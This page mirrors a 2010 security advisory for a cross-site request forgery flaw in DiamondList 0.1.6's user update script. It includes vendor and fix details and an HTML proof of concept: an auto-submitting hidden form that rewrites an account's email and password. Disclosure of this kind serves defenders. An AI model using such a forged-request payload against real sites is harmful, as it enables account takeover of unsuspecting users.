Home / os / win7

DiamondList v0.1.6 CSRF Vulnerability

Posted on 05 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>DiamondList v0.1.6 CSRF Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===================================== DiamondList v0.1.6 CSRF Vulnerability ===================================== Vulnerability ID: HTB22517 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_diamondlist.html Product: DiamondList Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/diamondlist ) Vulnerable Version: 0.1.6 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Fixed by Vendor Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the &quot;user/main/update_user&quot; script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: &lt;form action=&quot;http://host/user/main/update_user/1&quot; method=&quot;post&quot; name=&quot;main&quot; &gt; &lt;input type=&quot;hidden&quot; name=&quot;user[email]&quot; value=&quot;admin (at) example (dot) com [email concealed]&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;user[first_name]&quot; value=&quot;First Name&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;user[last_name]&quot; value=&quot;Last Name&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;user[password]&quot; value=&quot;1234&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;user[password_confirmation]&quot; value=&quot;1234&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;commit&quot; value=&quot;Update&quot; /&gt; &lt;/form&gt; &lt;script&gt; document.main.submit(); &lt;/script&gt; Solution: Upgrade to the most recent version # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP